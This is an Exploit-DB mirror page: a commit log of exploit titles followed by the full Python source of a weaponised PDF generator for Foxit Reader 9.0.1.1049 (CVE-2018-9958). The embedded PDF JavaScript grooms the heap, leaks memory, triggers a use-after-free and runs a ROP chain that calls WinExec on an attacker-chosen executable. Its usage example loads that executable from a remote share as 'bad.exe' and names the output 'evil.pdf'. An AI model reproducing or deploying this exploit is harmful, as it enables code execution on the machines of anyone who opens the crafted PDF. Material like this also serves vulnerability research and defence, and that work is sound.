exploit-db-mirror/exploits/windows/local/49116.py
Offensive Security dade976f06 DB: 2021-01-30
12 changes to exploits/shellcodes

Apache - Arbitrary Long HTTP Headers Denial of Service (Perl)
Apache - Arbitrary Long HTTP Headers (Denial of Service)

Microsoft Internet Explorer - Denial of Service (11 bytes)
Microsoft Internet Explorer - Denial of Service

Apache - Arbitrary Long HTTP Headers Denial of Service (C)
Apache - Arbitrary Long HTTP Headers Denial of Service
phpBB 2.0.15 - Register Multiple Users (Denial of Service) (Perl)
phpBB 2.0.15 - Register Multiple Users (Denial of Service) (C)
phpBB 2.0.15 - Register Multiple Users (Denial of Service)
XChat 2.6.7 (Windows) - Remote Denial of Service (PHP)
XChat 2.6.7 (Windows) - Remote Denial of Service (Perl)
XChat 2.6.7 (Windows) - Remote Denial of Service

Opera 9 IRC Client - Remote Denial of Service (Python)
Opera 9 IRC Client - Remote Denial of Service

Xfire 1.6.4 - Remote Denial of Service (Perl)
Xfire 1.6.4 - Remote Denial of Service

Microsoft Windows - NAT Helper Components Remote Denial of Service (Perl)
Microsoft Windows - NAT Helper Components Remote Denial of Service

Apple CFNetwork - HTTP Response Denial of Service (Ruby)
Apple CFNetwork - HTTP Response Denial of Service

PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service (Python)
PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service

PHP Hosting Directory 2.0 - Database Disclosure (Python)
PHP Hosting Directory 2.0 - Database Disclosure
Ascend R 4.5 Ci12 - Denial of Service (C)
Ascend R 4.5 Ci12 - Denial of Service (Perl)
Ascend R 4.5 Ci12 - Denial of Service

BulletProof FTP Client 2010 - Buffer Overflow (SEH) (Python)
BulletProof FTP Client 2010 - Buffer Overflow (SEH)

RedHat 6.2 Restore and Dump - Local Privilege Escalation (Perl)
RedHat 6.2 Restore and Dump - Local Privilege Escalation

Apple Mac OSX Adobe Version Cue - Local Privilege Escalation (Bash)
Apple Mac OSX Adobe Version Cue - Local Privilege Escalation

Apple Mac OSX Adobe Version Cue - Local Privilege Escalation (Perl)
Apple Mac OSX Adobe Version Cue - Local Privilege Escalation

ARPUS/Ce - Local Overflow (setuid) (Perl)
ARPUS/Ce - Local Overflow (setuid)

Xmame 0.102 - 'lang' Local Buffer Overflow (C)
Xmame 0.102 - 'lang' Local Buffer Overflow

CoolPlayer 2.19 - '.Skin' Local Buffer Overflow (Python)
CoolPlayer 2.19 - '.Skin' Local Buffer Overflow
Browser3D 3.5 - '.sfs' Local Stack Overflow (C)
Browser3D 3.5 - '.sfs' Local Stack Overflow (Perl)
Browser3D 3.5 - '.sfs' Local Stack Overflow

CastRipper 2.50.70 - '.m3u' Universal Stack Overflow (Python)
CastRipper 2.50.70 - '.m3u' Universal Stack Overflow

Adobe Acrobat 9.1.2 NOS - Local Privilege Escalation (Python)
Adobe Acrobat 9.1.2 NOS - Local Privilege Escalation
Mini-stream Ripper 3.0.1.1 - '.pls' Universal Buffer Overflow (Perl)
Soritong 1.0 - Universal Buffer Overflow (Python)
Mini-stream Ripper 3.0.1.1 - '.pls' Universal Buffer Overflow (Python)
Mini-stream Ripper 3.0.1.1 - '.pls' Universal Buffer Overflow
Soritong 1.0 - Universal Buffer Overflow
Mini-stream Ripper 3.0.1.1 - '.pls' Universal Buffer Overflow

Apple Mac OSX 10.8.4 - Local Privilege Escalation (Python)
Apple Mac OSX 10.8.4 - Local Privilege Escalation

BulletProof FTP Client 2010 - Local Buffer Overflow (SEH) (Ruby)
BulletProof FTP Client 2010 - Local Buffer Overflow (SEH)

Microsoft Windows 7 < 10 / 2008 < 2012 (x86/x64) - Local Privilege Escalation (MS16-032) (C#)
Microsoft Windows 7 < 10 / 2008 < 2012 (x86/x64) - Local Privilege Escalation (MS16-032)

10-Strike Network Inventory Explorer 9.03 - 'Read from File' Buffer Overflow (SEH)(ROP)
10-Strike Network Inventory Explorer 9.03 - 'Read from File' Buffer Overflow (SEH) (ROP)

B64dec 1.1.2 - Buffer Overflow (SEH Overflow + Egg Hunter)
B64dec 1.1.2 - Buffer Overflow (SEH Overflow + EggHunter)

10-Strike Bandwidth Monitor 3.9 - Buffer Overflow (SEH_DEP_ASLR)
10-Strike Bandwidth Monitor 3.9 - Buffer Overflow (SEH) (ASLR + DEP Bypass)

Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure (PHP)
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure

Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure (Perl)
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure

Microsoft Internet Explorer - 'VML' Remote Buffer Overflow (SP2) (Perl)
Microsoft Internet Explorer - 'VML' Remote Buffer Overflow (SP2)

Microsoft Windows - 'NetpManageIPCConnect' Remote Stack Overflow (MS06-070) (Python)
Microsoft Windows - 'NetpManageIPCConnect' Remote Stack Overflow (MS06-070)

3Com TFTP Service (3CTftpSvc) 2.0.1 - Long Transporting Mode (Perl)
3Com TFTP Service (3CTftpSvc) 2.0.1 - Long Transporting Mode
WarFTP 1.65 (Windows 2000 SP4) - 'USER' Remote Buffer Overflow (Python)
WarFTP 1.65 (Windows 2000 SP4) - 'USER' Remote Buffer Overflow (Perl)
WarFTP 1.65 (Windows 2000 SP4) - 'USER' Remote Buffer Overflow

3proxy 0.5.3g (Windows x86) - 'logurl()' Remote Buffer Overflow (Perl)
3proxy 0.5.3g (Windows x86) - 'logurl()' Remote Buffer Overflow

OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH (Perl)
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH

OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH (Python)
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH

Fonality trixbox 2.6.1 - 'langChoice' Remote Code Execution (Python)
Fonality trixbox 2.6.1 - 'langChoice' Remote Code Execution

IntelliTamper 2.0.7 - HTML Parser Remote Buffer Overflow (C)
IntelliTamper 2.0.7 - HTML Parser Remote Buffer Overflow

BIND 9.x - Remote DNS Cache Poisoning (Python)
BIND 9.x - Remote DNS Cache Poisoning

Microsoft Internet Explorer 7 - Memory Corruption (MS09-002) (Python)
Microsoft Internet Explorer 7 - Memory Corruption (MS09-002)

EFS Easy Chat Server 2.2 - Authentication Request Buffer Overflow (Perl)
EFS Easy Chat Server 2.2 - Authentication Request Buffer Overflow

Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (PHP)
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass

Apple QuickTime 7.2/7.3 - RTSP Buffer Overflow (Perl)
Apple QuickTime 7.2/7.3 - RTSP Buffer Overflow

Endian Firewall < 3.0.0 - OS Command Injection (Python)
Endian Firewall < 3.0.0 - OS Command Injection
AWStats 6.0 < 6.2 - 'configdir' Remote Command Execution (C)
AWStats 6.0 < 6.2 - 'configdir' Remote Command Execution (Perl)
AWStats 6.0 < 6.2 - 'configdir' Remote Command Execution

phpBB 2.0.12 - Change User Rights Authentication Bypass (C)
phpBB 2.0.12 - Change User Rights Authentication Bypass
Maxwebportal 1.36 - 'Password.asp' Change Password (3) (Perl)
Maxwebportal 1.36 - 'Password.asp' Change Password (2) (PHP)
Maxwebportal 1.36 - 'Password.asp' Change Password (3)
Maxwebportal 1.36 - 'Password.asp' Change Password (2)

phpStat 1.5 - 'setup.php' Authentication Bypass (Perl)
phpStat 1.5 - 'setup.php' Authentication Bypass

SimpleBBS 1.1 - Remote Command Execution (C)
SimpleBBS 1.1 - Remote Command Execution
DataLife Engine 4.1 - SQL Injection (Perl)
DataLife Engine 4.1 - SQL Injection (PHP)
DataLife Engine 4.1 - SQL Injection

cPanel 10.8.x - 'cpwrap' via MySQLAdmin Privilege Escalation (PHP)
cPanel 10.8.x - 'cpwrap' via MySQLAdmin Privilege Escalation
Fuzzylime CMS 3.01 - 'poll' Remote Code Execution (PHP)
Fuzzylime CMS 3.01 - 'poll' Remote Code Execution (Perl)
Fuzzylime CMS 3.01 - 'poll' Remote Code Execution

webSPELL 4.2.0d (Linux) - Local File Disclosure (C)
webSPELL 4.2.0d (Linux) - Local File Disclosure

Syslog LogAnalyzer 3.6.5 - Persistent Cross-Site Scripting (Python)
Syslog LogAnalyzer 3.6.5 - Persistent Cross-Site Scripting

WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload (Python)
WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload
PHPMailer < 5.2.18 - Remote Code Execution (Bash)
PHPMailer < 5.2.18 - Remote Code Execution (PHP)
PHPMailer < 5.2.18 - Remote Code Execution

PHPMailer < 5.2.18 - Remote Code Execution (Python)
PHPMailer < 5.2.18 - Remote Code Execution

WordPress Core 4.7.0/4.7.1 - Content Injection (Python)
WordPress Core 4.7.0/4.7.1 - Content Injection

Wordpress Plugin Contact Form 7 5.3.1 - Unrestricted File Upload
BloofoxCMS 0.5.2.1 - 'text' Stored Cross Site Scripting
Online Grading System 1.0 - 'uname' SQL Injection
Quick.CMS 6.7 - Remote Code Execution (Authenticated)
Home Assistant Community Store (HACS) 1.10.0 - Path Traversal to Account Takeover
MyBB Hide Thread Content Plugin 1.0 - Information Disclosure
Simple Public Chat Room 1.0 - Authentication Bypass SQLi
Simple Public Chat Room 1.0 - 'msg' Stored Cross-Site Scripting
SonicWall SSL-VPN 8.0.0.0 - 'shellshock/visualdoor' Remote Code Execution (Unauthenticated)
2021-01-30 05:01:55 +00:00

273 lines
No EOL
7.4 KiB
Python
Executable file

# Exploit Title: Foxit Reader 9.0.1.1049 - Arbitrary Code Execution
# Date: 2020-08-29
# Exploit Author: CrossWire
# Vendor Homepage: https://www.foxitsoftware.com/
# Software Link: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English
# Version: 9.0.1.1049
# Tested on: Microsoft Windows Server 2016 10.0.14393
# CVE : [2018-9958](https://nvd.nist.gov/vuln/detail/CVE-2018-9958)
#!/usr/bin/python3
'''
===========================================================================
| PDF generator for Foxit Reader Remote Code Execution (CVE 2018-9958) |
===========================================================================
| Written by: Kevin Dorland (CrossWire) |
| Date: 08/29/2020 |
| |
| Exploit originally discovered by Steven Seeley (mr_me) of Source Incite |
| |
| References: |
| https://www.exploit-db.com/exploits/44941 (Steven Seely Calc.exe PoC) |
| https://www.exploit-db.com/exploits/45269 (Metasploit adaptation) |
| |
===========================================================================
'''
PDF_TEMPLATE = '''
%PDF
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (
var heap_ptr = 0;
var foxit_base = 0;
var pwn_array = [];
function prepare_heap(size){
var arr = new Array(size);
for(var i = 0; i < size; i++){
arr[i] = this.addAnnot({type: "Text"});;
if (typeof arr[i] == "object"){
arr[i].destroy();
}
}
}
function gc() {
const maxMallocBytes = 128 * 0x100000;
for (var i = 0; i < 3; i++) {
var x = new ArrayBuffer(maxMallocBytes);
}
}
function alloc_at_leak(){
for (var i = 0; i < 0x64; i++){
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
}
}
function control_memory(){
for (var i = 0; i < 0x64; i++){
for (var j = 0; j < pwn_array[i].length; j++){
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
}
}
}
function leak_vtable(){
var a = this.addAnnot({type: "Text"});
a.destroy();
gc();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
var leaked = stolen[0] & 0xffff0000;
foxit_base = leaked - 0x01f50000;
}
function leak_heap_chunk(){
var a = this.addAnnot({type: "Text"});
a.destroy();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
alloc_at_leak();
heap_ptr = stolen[1];
}
function reclaim(){
var arr = new Array(0x10);
for (var i = 0; i < arr.length; i++) {
arr[i] = new ArrayBuffer(0x60);
var rop = new Int32Array(arr[i]);
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
rop[0x02] = 0x72727272; // junk
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
rop[0x04] = 0xffffffff; // ret of WinExec
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
//Path to executable
<PATH TO EXECUTABLE>
//End Path to executable
rop[0x17] = 0x00000000; // adios, amigo
}
}
function trigger_uaf(){
var that = this;
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
var arr = [1];
Object.defineProperties(arr,{
"0":{
get: function () {
that.getAnnot(0, "uaf").destroy();
reclaim();
return 1;
}
}
});
a.point = arr;
}
function main(){
leak_heap_chunk();
leak_vtable();
control_memory();
trigger_uaf();
}
if (app.platform == "WIN"){
if (app.isFoxit == "Foxit Reader"){
if (app.appFoxitVersion == "9.0.1.1049"){
main();
}
}
}
)>> trailer <</Root 1 0 R>>
'''
import sys
#Enforces 2 hex char byte notation. "0" becomes "0x00"
def format_byte(b):
if (len(b) > 2) and (b[0:2] == '0x'):
b = b[2:]
if len(b) == 1:
b = '0' + b
return '0x' + b
def char2hex(c):
return format_byte(hex(ord(c)))
#Converts file path into array of eleven 32-bit hex words
def path_to_machine_code(path,little_endian = True):
print("[+] Encoding Path:",path)
#ensure length
if len(path) > 44:
print("[CRITICAL] Path length greater than 44 characters (bytes). Aborting!")
exit(-1)
#Copy path into 4 character (32 bit) words (max 11)
word_array = []
for i in range(11):
word = ''
if len(path):
word += path[0:4] if len(path) >= 4 else path
path = path[len(word):]
if len(word) < 4:
word += chr(0) * (4 - len(word))
word_array.append(word)
#Convert chars to hex values and format to "0xAABBCCDD" notation
hex_array = []
for word in word_array:
#Reverse byte order to fit little endian standard
if(little_endian): word = word[::-1]
#Write bytes to hex strings
hex_string = '0x'
for char in word:
hex_string += char2hex(char)[2:] #strip the 0x off the byte here
hex_array.append(hex_string)
return hex_array
#writes encoded path to rop array to match template
def create_rop(hex_arr, start_index = '0c'):
ord_array = []
index = int(start_index,16)
for instruction in hex_arr:
full_instruction = f"\trop[{format_byte(hex(index))}] = {instruction};"
ord_array.append(full_instruction)
index += 1
return ('\n'.join(ord_array))
if __name__ == '__main__':
if len(sys.argv) != 3:
print(f"USAGE: {sys.argv[0]} <path to executable> <pdf filename>")
print("-- EXAMPLES --")
print(f"{sys.argv[0]} \\\\192.168.0.1\\exploits\\bad.exe evil.pdf")
exit(-1)
#Parse user args
EXE_PATH = sys.argv[1]
PDF_PATH = sys.argv[2]
#Generate hex
raw_hex = path_to_machine_code(EXE_PATH)
print("[+] Machine Code:")
for hex_word in raw_hex:
print(hex_word)
ord_string = create_rop(raw_hex)
print("[+] Instructions to add:")
print(ord_string)
print("[+] Generating pdf...")
print("\t- Filling template...")
evil_pdf = PDF_TEMPLATE.replace('<PATH TO EXECUTABLE>',ord_string)
print("\t- Writing file...")
with open(PDF_PATH,'w') as fd:
fd.write(evil_pdf)
print("[+] Generated pdf:",PDF_PATH)